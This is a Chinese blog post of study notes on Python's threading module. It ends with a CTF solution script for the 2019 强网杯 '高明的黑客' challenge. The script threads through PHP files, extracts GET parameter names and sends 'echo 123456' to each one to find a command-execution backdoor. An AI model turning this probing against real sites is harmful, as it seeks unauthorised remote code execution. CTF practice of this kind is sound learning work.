Python-多线程的学习
本文最后更新于:1 年前
Python-多线程的学习/总结
Python-多线程的学习
简单学习一下多线程
线程的概念
线程,有时被称为轻量级进程(Lightweight Process,LWP),是程序执行流的最小单元。一个标准的线程由线程ID,当前指令指针(PC),寄存器集合和堆栈组成。另外,线程是进程中的一个实体,是被系统独立调度和分派的基本单位,线程自己不拥有系统资源,只拥有一点儿在运行中必不可少的资源,但它可与同属一个进程的其它线程共享进程所拥有的全部资源。
标准库—threading
import threading
Thread 对象
class threading.Thread(group=None, target=None, name=None, args=(), kwargs={}, *, daemon=None)
Thread 的构造方法中,最重要的参数是 target,所以我们需要将一个 callable 对象赋值给它,线程才能正常运行
callable 没有参数,如果需要传递参数的话,args 是固定参数,kwargs 是可变参数
如果要让一个 Thread 对象启动,调用它的 start() 方法就好了
例
def test():
.......
thread = threading.Thread(target=test)
thread.start()
for i in range(5):
print(i)
通过 thread.current_thread() 方法可以返回线程本身,然后就可以访问它的 name 属性
Thread 的生命周期
1.创建对象时,代表 Thread 内部被初始化
2.调用 start() 方法后,thread 会开始运行
3.thread 代码正常运行结束或者是遇到异常,线程会终止
可以通过 Thread 的 is_alive() 方法查询线程是否还在运行
值得注意的是,is_alive() 返回 True 的情况是 Thread 对象被正常初始化,start() 方法被调用,然后线程的代码还在正常运行
join() 提供线程阻塞手段
调用一个 Thread 的 join() 方法,可以阻塞自身所在的线程
def join(self, timeout=None):
默认的情况是,join() 会一直等待对应线程的结束,但可以通过参数赋值,等待规定的时间就好了
timeout 是一个浮点参数,单位是秒
例
[强网杯 2019]高明的黑客
import os
import re
import time
import requests
import threading
dirr = ''
files1 = os.listdir(dirr) # 获取文件夹下的文件
files2 = os.listdir(dirr) # 获取文件夹下的反序文件
files2.sort()
files2.reverse()
reg = re.compile(r'(?<=_GET\[\').*(?=\'\])') # 设置正则匹配
def thread1(files, a):
for i in files: # 循环文件
if a == 1:
print("1111111----------------------", i)
elif a == 2:
print("2222222----------------------", i)
url = "" # url (docker适配的php版本)
f1 = open(dirr + i) # 打开这个文件
data = f1.read() # 读取文件内容
f1.close() # 关闭文件
result = reg.findall(data) # 从文件内容中找到GET请求
for j in result: # 循环GET参数
payload = url + i + "?" + j + "=echo+123456" # 尝试请求次路径,并执行命令
print(payload)
html = requests.get(payload)
if "123456" in html.text:
print("*****************************", payload)
exit(1)
p1 = threading.Thread(target=thread1, args=(files1, 1))
p2 = threading.Thread(target=thread1, args=(files2, 2))
p1.start()
p2.start()
https://cloud.tencent.com/developer/article/1566226
https://blog.csdn.net/kellyseeme/article/details/51473552
https://www.cnblogs.com/fnng/p/3670789.html
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!